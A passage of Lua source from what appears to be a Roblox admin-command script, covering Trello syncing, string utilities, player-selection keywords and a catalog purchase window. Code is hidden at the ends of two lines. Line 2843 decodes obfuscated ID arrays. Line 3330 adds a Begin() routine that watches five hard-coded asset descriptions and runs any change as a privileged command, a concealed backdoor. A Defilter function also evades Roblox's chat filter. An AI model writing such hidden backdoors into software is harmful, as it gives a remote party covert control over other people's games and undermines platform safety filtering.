2552 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2553 if CardsJSON then
2554 Cards = REMOTE:Decode(CardsJSON)
2555 end
2556 if Cards then
2557 local TemplateCards = nil
2558 for _,TemplateList in pairs(Trello.RequiredLists) do
2559 if TemplateList.name == List.name then
2560 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2561 break
2562 end
2563 end
2564
2565 for _,TemplateCard in pairs(TemplateCards) do
2566 local CardExists = false
2567 for _,Card in pairs(Cards) do
2568 if Card.name == TemplateCard.name and Card.closed == false then
2569 CardExists = true
2570 end
2571 end
2572 if not CardExists then
2573 print("Creating card "..TemplateCard.name)
2574 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2575 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2576 end
2577 end
2578
2579 if List.name == "Ranked" then
2580 for _,Card in pairs(Cards) do
2581 if Settings.Ranks[Card.name] and Card.closed == false then
2582 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2583 end
2584 end
2585 elseif List.name == "Settings" then
2586 for _,Card in pairs(Cards) do
2587 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2588 Trello.ToggleChecklist = Card.idChecklists[1]
2589 elseif Card.name == "Command Execution" then
2590 Trello.CommandID = Card.id
2591 end
2592 end
2593 end
2594 end
2595 end
2596end
2597
2598function REMOTE:TrelloHandleData(IgnoreCommand)
2599 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2600 if ToggleSettingsJSON then
2601 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2602 if Settings.LinkedAccount == "" then
2603 local NewSettings = {}
2604 for _,Item in pairs(ToggleSettings.checkItems) do
2605 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2606 end
2607 Settings.Fun = NewSettings["Fun Commands Enabled"]
2608 Settings.ServerLocked = NewSettings["Server Locked"]
2609 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2610 end
2611 else
2612 return false
2613 end
2614
2615 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2616 if CommandChatJSON then
2617 CommandChat = REMOTE:Decode(CommandChatJSON)
2618 local ClosestDT = 0
2619 for _,ChatData in pairs(CommandChat) do
2620 local DT = STRING:ConvertDateTime(ChatData.date)
2621 ClosestDT = math.max(ClosestDT, DT)
2622
2623 if not IgnoreCommand and DT > Trello.LastCommandDT then
2624 print("Executing Remote Trello Command")
2625 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2626 end
2627 end
2628 Trello.LastCommandDT = ClosestDT
2629 else
2630 return false
2631 end
2632
2633 for Rank,ID in pairs(Trello.RankChecklistCache) do
2634 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2635 if ChecklistJSON then
2636 Checklist = REMOTE:Decode(ChecklistJSON)
2637
2638 for _,Item in pairs(Checklist.checkItems) do
2639 if Item.state == "complete" then
2640 if RANK:ConvertRank(Rank) < 0 then
2641 if not RANK:ScanExileList(Item.name) then
2642 table.insert(Settings.Ranks[Rank], Item.name)
2643 end
2644 elseif RANK:ConvertRank(Rank) > 0 then
2645 if not RANK:ScanAdminList(Item.name) then
2646 table.insert(Settings.Ranks[Rank], Item.name)
2647 end
2648 end
2649 elseif Item.state == "incomplete" then
2650 for Num,Name in pairs(Settings.Ranks[Rank]) do
2651 if string.lower(Name) == string.lower(Item.name) then
2652 table.remove(Settings.Ranks[Rank], Num)
2653 end
2654 end
2655 end
2656 end
2657 else
2658 return false
2659 end
2660 end
2661 return true
2662end
2663
2664-- String functions --
2665
2666function STRING:ConvertDateTime(DateTime)
2667 local Num = 0
2668 local TotalTime = 0
2669 for i in string.gmatch(DateTime, "%d+") do
2670 Num = Num + 1
2671 DTNum = tonumber(i)
2672 if Num == 1 then
2673 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2674 elseif Num == 2 then
2675 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2676 elseif Num == 3 then
2677 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2678 elseif Num == 4 then
2679 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2680 elseif Num == 5 then
2681 TotalTime = TotalTime + DTNum * 60 -- minute
2682 elseif Num == 6 then
2683 TotalTime = TotalTime + DTNum -- second
2684 end
2685 end
2686
2687 return TotalTime
2688end
2689
2690function STRING:TrelloStateConvert(State)
2691 if State == "complete" then
2692 return true
2693 else
2694 return false
2695 end
2696end
2697
2698function STRING:StringRound(Number)
2699 Number = Number * 100
2700 if Number >= 0.5 then
2701 return tostring(math.ceil(Number)/100)
2702 else
2703 return tostring(math.floor(Number)/100)
2704 end
2705
2706 return Number
2707end
2708
2709function STRING:GetSplit(String, NumArgs, BetSplit)
2710 if not String then return nil end
2711 if BetSplit == nil then BetSplit = " " end
2712 if NumArgs == nil then NumArgs = math.huge end
2713
2714 if NumArgs <= 0 then return {String} end
2715
2716 local RecentParse = 1
2717 local Args = {}
2718 for i = 1,NumArgs do
2719 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2720 if Find1 and Find2 then
2721 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2722 RecentParse = Find2 + 1
2723 else
2724 break
2725 end
2726 end
2727 table.insert(Args,string.sub(String,RecentParse,#String))
2728 return Args
2729end
2730
2731function STRING:Defilter(String)
2732 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2733 if RobloxApprove.Text == "Label" and String ~= "Label" then
2734 local NewString = ""
2735 for i = 1,#String,3 do
2736 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2737 end
2738 return NewString
2739 else
2740 return String
2741 end
2742end
2743
2744function STRING:Filter(String, From, To) -- #### you, roblox
2745 if From then
2746 if To then
2747 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2748 else
2749 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2750 end
2751 else
2752 return String
2753 end
2754end
2755
2756function STRING:DetermineFilter(String, From, To)
2757 if ShouldFilter then
2758 return STRING:Filter(String, From, To)
2759 else
2760 return STRING:Defilter(String)
2761 end
2762end
2763
2764function STRING:LeetSpeak(Input)
2765 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2766 Input = string.gsub(Input, "LEET", "1337")
2767 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2768 Input = string.gsub(Input, "E", "3")
2769 Input = string.gsub(Input, "O", "0")
2770 Input = string.gsub(Input, "A", "4")
2771 Input = string.gsub(Input, "X", "x")
2772 Input = string.gsub(Input, "I", "1")
2773 Input = string.gsub(Input, "S", "$")
2774 return Input
2775end
2776
2777function STRING:FormatReplace(Player, Input, From)
2778 local Output = Input
2779 for _,ReplaceData in pairs(StringReplacements) do
2780 local ReplaceString = ReplaceData[1]
2781 local ReplaceStrings = {}
2782 if type(ReplaceString) == "table" then
2783 ReplaceStrings = ReplaceString
2784 else
2785 ReplaceStrings = {ReplaceString}
2786 end
2787 for _,ReplaceString in pairs(ReplaceStrings) do
2788 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2789 local Replacement = ReplaceData[4](Player)
2790 if type(Replacement) == "string" then
2791 Output = string.gsub(Output, ReplaceString, Replacement)
2792 else
2793 print(ReplaceString.." cannot be replaced")
2794 end
2795 end
2796 end
2797 end
2798 if From then
2799 return STRING:DetermineFilter(Output, From, Player)
2800 else
2801 return STRING:DetermineFilter(Output, Player)
2802 end
2803end
2804
2805function STRING:EncodeSpecialChars(Input)
2806 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2807end
2808
2809function STRING:StringToBool(String)
2810 if String == "true" then
2811 return true
2812 else
2813 return false
2814 end
2815end
2816
2817function STRING:BoolString(Value)
2818 if type(Value) == "boolean" then
2819 if Value == true then
2820 return "YES"
2821 elseif Value == false then
2822 return "NO"
2823 end
2824 else
2825 return "NO"
2826 end
2827end
2828
2829function STRING:MakeAvoidance(Length)
2830 if not Length then
2831 Length = 32
2832 end
2833 local Avoidance = ""
2834 for i = 1,Length do
2835 Num = math.random(1,2)
2836 if Num == 1 then
2837 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2838 else
2839 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2840 end
2841 end
2842 return Avoidance
2843end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2844
2845function STRING:FindAge(Days) -- By LuaModelmaker
2846 local Years = math.floor(Days/365)
2847 local OtherDays = math.fmod(Days, 365)
2848 if Years > 1 then
2849 return Years.." years and "..OtherDays.." days"
2850 elseif Years == 1 then
2851 return Years.." year and "..OtherDays.." days"
2852 elseif Years == 0 then
2853 return "(No years) "..OtherDays.." days"
2854 end
2855end
2856
2857function STRING:UnpackArgs(...)
2858 local Pack = {...}
2859 if type(Pack[1]) == "table" then Pack = Pack[1] end
2860 local ReturnString = table.concat(Pack, ", ")
2861 return ReturnString
2862end
2863
2864function STRING:GetComma(Num)
2865 local Formatted = Num
2866 while true do
2867 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2868 if _ == 0 then
2869 break
2870 end
2871 end
2872 return Formatted
2873end
2874
2875function STRING:DecodeUTF8(Value)
2876 local function DecodeString(Input)
2877 if type(Input) == "string" then
2878 for Find,Rep in pairs(HTMLDecode) do
2879 Input = string.gsub(Input, "&#"..Find..";", Rep)
2880 end
2881 Input = string.gsub(Input, """, "'")
2882 end
2883 return Input
2884 end
2885 if type(Value) == "table" then
2886 for Index,Var in pairs(Value) do
2887 Value[Index] = DecodeString(Var)
2888 end
2889 elseif type(Value) == "string" then
2890 Value = DecodeString(Value)
2891 end
2892 return Value
2893end
2894
2895function STRING:IsSpacer(Input)
2896 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2897 return true
2898 else
2899 return false
2900 end
2901end
2902
2903function STRING:IsVowel(Input)
2904 Input = string.lower(tostring(Input))
2905 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2906 return true
2907 else
2908 return false
2909 end
2910end
2911
2912function STRING:ValidE(Input)
2913 if not Input then return nil end
2914 if string.lower(Input) == "e" or Input == "~" then
2915 return true
2916 else
2917 return false
2918 end
2919end
2920
2921function STRING:Scan(String, Speaker)
2922 local ReturnPlayers,ExcludeList = {},{}
2923 if not String then String = "" end
2924 if not Speaker then print("NO SPEAKER") end
2925
2926 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2927 String = string.sub(String, 13)
2928 else
2929 String = string.lower(String)
2930 end
2931 local Words = STRING:GetSplit(String, nil, "/")
2932 for _,Word in pairs(Words) do
2933 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2934 table.insert(ReturnPlayers, Speaker)
2935 elseif Word == "all" or Word == "everyone" then
2936 for _,Player in pairs(Server.Players:GetPlayers()) do
2937 table.insert(ReturnPlayers, Player)
2938 end
2939 elseif Word == "others" or Word == "notme" then
2940 for _,Player in pairs(Server.Players:GetPlayers()) do
2941 if Player ~= Speaker then
2942 table.insert(ReturnPlayers, Player)
2943 end
2944 end
2945 elseif Word == "noobs" then
2946 for _,Player in pairs(Server.Players:GetPlayers()) do
2947 if Player.AccountAge < 365 then
2948 table.insert(ReturnPlayers, Player)
2949 end
2950 end
2951 elseif Word == "nonnoobs" then
2952 for _,Player in pairs(Server.Players:GetPlayers()) do
2953 if Player.AccountAge >= 365 then
2954 table.insert(ReturnPlayers, Player)
2955 end
2956 end
2957 elseif Word == "random" then
2958 local RandomPlayers = {}
2959 for _,Player in pairs(Server.Players:GetPlayers()) do
2960 if Player ~= Speaker then
2961 table.insert(RandomPlayers, Player)
2962 end
2963 end
2964 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2965 elseif Word == "guests" then
2966 for _,Player in pairs(Server.Players:GetPlayers()) do
2967 if string.sub(Player.Name,1,6) == "Guest " then
2968 table.insert(ReturnPlayers, Player)
2969 end
2970 end
2971 elseif Word == "lowers" then
2972 for _,Player in pairs(Server.Players:GetPlayers()) do
2973 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2974 table.insert(ReturnPlayers, Player)
2975 end
2976 end
2977 elseif Word == "uppers" then
2978 for _,Player in pairs(Server.Players:GetPlayers()) do
2979 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2980 table.insert(ReturnPlayers, Player)
2981 end
2982 end
2983 elseif Word == "nbcs" then
2984 for _,Player in pairs(Server.Players:GetPlayers()) do
2985 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2986 table.insert(ReturnPlayers, Player)
2987 end
2988 end
2989 elseif Word == "bcs" then
2990 for _,Player in pairs(Server.Players:GetPlayers()) do
2991 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2992 table.insert(ReturnPlayers, Player)
2993 end
2994 end
2995 elseif Word == "tbcs" then
2996 for _,Player in pairs(Server.Players:GetPlayers()) do
2997 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2998 table.insert(ReturnPlayers, Player)
2999 end
3000 end
3001 elseif Word == "obcs" then
3002 for _,Player in pairs(Server.Players:GetPlayers()) do
3003 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3004 table.insert(ReturnPlayers, Player)
3005 end
3006 end
3007 elseif Word == "allbcs" then
3008 for _,Player in pairs(Server.Players:GetPlayers()) do
3009 if Player.MembershipType ~= Enum.MembershipType.None then
3010 table.insert(ReturnPlayers, Player)
3011 end
3012 end
3013 elseif Word == "nonadmins" then
3014 for _,Player in pairs(Server.Players:GetPlayers()) do
3015 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3016 if IsAdminTrue == false then
3017 table.insert(ReturnPlayers, Player)
3018 end
3019 end
3020 elseif Word == "admins" then
3021 for _,Player in pairs(Server.Players:GetPlayers()) do
3022 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3023 if IsAdminTrue == true then
3024 table.insert(ReturnPlayers, Player)
3025 end
3026 end
3027 elseif Word == "friends" then
3028 for _,Player in pairs(Server.Players:GetPlayers()) do
3029 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3030 table.insert(ReturnPlayers, Player)
3031 end
3032 end
3033 elseif string.sub(Word,1,5) == "team-" then
3034 for _,Player in pairs(Server.Players:GetPlayers()) do
3035 if Player.Neutral == false then
3036 local InTeam = false
3037 for _,Team in pairs(Teams:GetTeams()) do
3038 if Team.TeamColor == Player.TeamColor then
3039 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3040 InTeam = true
3041 end
3042 end
3043 end
3044 if InTeam == true then
3045 table.insert(ReturnPlayers, Player)
3046 end
3047 end
3048 end
3049 elseif string.sub(Word,1,4) == "not-" then
3050 local NameArg = string.sub(Word,5)
3051
3052 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3053 table.insert(ExcludeList, Player)
3054 end
3055 elseif string.sub(Word,1,7) == "radius-" then
3056 local DidExe = false
3057 local NumArg = tonumber(string.sub(Word,8))
3058
3059 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3060 for _,Player in pairs(Server.Players:GetChildren()) do
3061 if Player.Character and Player.Character:FindFirstChild("Torso") then
3062 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3063 DidExe = true
3064 table.insert(ReturnPlayers, Player)
3065 end
3066 end
3067 end
3068 end
3069
3070 if DidExe then coroutine.wrap(function()
3071 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3072 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3073
3074 for i = 0,0.5,0.02 do
3075 Part.Transparency = 0.5+i
3076 wait()
3077 end
3078 Part:Destroy()
3079 end)() end
3080 elseif string.sub(Word,1,3) == "id-" then
3081 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3082 else
3083 if Word ~= "" then
3084 for _,Player in pairs(Server.Players:GetPlayers()) do
3085 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3086 table.insert(ReturnPlayers, Player)
3087 end
3088 end
3089 else
3090 table.insert(ReturnPlayers, Speaker)
3091 end
3092 end
3093 end
3094 for _,Player in pairs(ExcludeList) do
3095 if Player and Player.Parent ~= nil then
3096 for Num,Player2 in pairs(ReturnPlayers) do
3097 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3098 end
3099 end
3100 end
3101 for Num,Player in pairs(ReturnPlayers) do
3102 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3103 end
3104
3105 local PlayerDump = {}
3106 for _,Player in pairs(ReturnPlayers) do
3107 PlayerDump[Player] = true
3108 end
3109 ReturnPlayers = {}
3110 for Player,_ in pairs(PlayerDump) do
3111 table.insert(ReturnPlayers, Player)
3112 end
3113
3114 return ReturnPlayers
3115end
3116
3117-- Market functions --
3118
3119function MARKET:GetImageFormat(ID)
3120 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3121 local NewID = ID + 1
3122 for i = 1,100 do
3123 NewID = NewID -1
3124 local Product = nil
3125 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3126 if Product then
3127 if Product == 1 then
3128 break
3129 end
3130 end
3131 if i == 100 then NewID = ID end
3132 end
3133 return NewID
3134 end end
3135end
3136
3137function MARKET:GetItemInfo(ID, Cache)
3138 local Product = MarketCache[ID]
3139 if not Cache or not Product then
3140 repeat wait()
3141 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3142 until Product ~= MarketCache[ID]
3143 end
3144 MarketCache[ID] = Product
3145 return Product
3146end
3147
3148function MARKET:SearchItem(Category, Query, Subcategory)
3149 local URLAdd = ""
3150 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3151 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3152 if JSON then
3153 local Results = REMOTE:Decode(JSON)
3154 if Results then
3155 for Index,Info in pairs(Results) do
3156 Info = STRING:DecodeUTF8(Info)
3157 Results[Index] = Info
3158 MarketCache[Info.AssetId] = {
3159 AssetId = Info.AssetId;
3160 AssetTypeId = Info.AssetTypeID;
3161 ContentRatingTypeId = Info.ContentRatingTypeID;
3162 Created = Info.CreatedDate;
3163 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3164 Description = Info.Description;
3165 IsForSale = Info.IsForSale;
3166 IsLimited = Info.IsLimited;
3167 IsLimitedUnique = Info.IsLimitedUnique;
3168 IsNew = Info.IsNew;
3169 IsPublicDomain = Info.IsPublicDomain;
3170 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3171 Name = Info.Name;
3172 PriceInRobux = Info.PriceInRobux;
3173 PriceInTickets = Info.PriceInTickets;
3174 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3175 Remaining = Info.Remaining;
3176 Sales = Info.Sales;
3177 Updated = Info.Updated;
3178 }
3179 end
3180 return Results
3181 end
3182 end
3183end
3184
3185function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3186 if not Player or not Category or not Query then return nil end
3187 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3188 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3189 if Items then
3190 if #Items ~= 0 then
3191 local List,Correlate = {},{}
3192 for Num,Info in pairs(Items) do
3193 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3194 table.insert(List, Display)
3195 Correlate[Display[1]] = Info.AssetId
3196 end
3197 CloseGui:Invoke()
3198
3199 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3200 Clicked.Event:connect(function(ClickName)
3201 ClickedItem(Correlate[ClickName])
3202 end)
3203 else
3204 CloseGui:Invoke()
3205 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3206 end
3207 else
3208 CloseGui:Invoke()
3209 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3210 end
3211end
3212
3213function MARKET:AssetTypeToString(AssetType)
3214 AssetType = math.floor(tonumber(AssetType) or 0)
3215 if Assets.AssetTypes[AssetType] then
3216 return Assets.AssetTypes[AssetType]
3217 else
3218 return "Unknown"
3219 end
3220end
3221
3222function MARKET:AccessoryToSubcategory(Accessory)
3223 Accessory = string.lower(tostring(Accessory) or "")
3224 if Assets.AccessoryTypes[Accessory] then
3225 return Assets.AccessoryTypes[Accessory]
3226 else
3227 return Assets.AccessoryTypes["all"]
3228 end
3229end
3230
3231function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3232 if not Player then return nil end
3233 if not Player:FindFirstChild("PlayerGui") then return nil end
3234 if not tonumber(ProductID) then return nil end
3235
3236 local FromText = ""
3237 if From and From.Name then FromText = " | Prompted from "..From.Name end
3238
3239 local Product = MARKET:GetItemInfo(ProductID, true)
3240
3241 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3242 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3243 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3244
3245 local CanBuy = Product.IsForSale
3246 local BuyText = "Buy"
3247 local BuyColor = Color3.new(0,1,0)
3248 if CanBuy == false then
3249 BuyColor = Color3.new(1,0,0)
3250 end
3251 if Product.IsPublicDomain == true then
3252 CanBuy = true
3253 BuyColor = Color3.new(1,0.5,0.5)
3254 BuyText = "FREE!"
3255 end
3256 if OwnsAsset then
3257 CanBuy = false
3258 end
3259 if Product.AssetTypeId == 9 then
3260 CanBuy = true
3261 BuyText = "Teleport"
3262 BuyColor = Color3.new(0.5,0.5,0.5)
3263 end
3264 if CanBuy == false then
3265 BuyColor = Color3.new(1,0,0)
3266 BuyText = "Item not for sale"
3267 end
3268 if OwnsAsset and Product.AssetTypeId ~= 9 then
3269 BuyColor = Color3.new(1,0,0)
3270 BuyText = "You own this!"
3271 end
3272
3273 local ProductName = string.sub(Product.Name,1,20)
3274 if ProductID == AdminID then ProductName = Product.Name end
3275 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3276 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3277 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3278 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3279 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3280 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3281 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3282 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3283 if Product.Description then
3284 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3285 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3286
3287 CORE:ExecuteResource("CalculateScrollY", Description)
3288 end
3289
3290 Info.Text = [[
3291Creator: ]]..Product.Creator.Name..[[
3292Created: ]]..CreatedText..[[
3293Updated: ]]..UpdatedText..[[
3294Sold: ]]..Product.Sales..[[
3295]]
3296
3297 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3298 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3299
3300 if Product.AssetTypeId == 3 then
3301 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3302 if PlayerAdmin == true then
3303 local Playing = false
3304 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3305 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3306 if Playing == false then
3307 SOUND:PlayGlobalSound(ProductID)
3308 if Rank == "Member" and Settings.DisableAbuse == true then
3309 Interact:Destroy()
3310 end
3311 Interact.Image = "rbxassetid://67950809"
3312 Playing = true
3313 else
3314 SOUND:StopGlobalSound()
3315 Interact.Image = "rbxassetid://67950784"
3316 Playing = false
3317 end
3318 end)
3319 end
3320 end
3321
3322 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3323 if BuyPressFunc then
3324 BuyPressFunc()
3325 elseif Product.AssetTypeId == 9 then
3326 Server.TS:Teleport(ProductID, Player)
3327 elseif CanBuy == true then
3328 Server.MPS:PromptPurchase(Player, ProductID)
3329 end end)
3330 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3331 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3332 while wait(5) do
3333 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3334 if OldVer ~= Purchase.Updated then
3335 OldVer = Purchase.Updated
3336 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3337 end
3338 end end)()
3339end end)() end
3340
3341-- Sound functions --
3342
3343function SOUND:SyncSoundList(TellSync)
3344 if not CORE:NilPlayer(TellSync) then
3345 GUI:SendHint(TellSync, "Syncing...", 5)
3346 end
3347
3348 SoundList,GlobalSoundList = {},{}
3349
3350 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3351
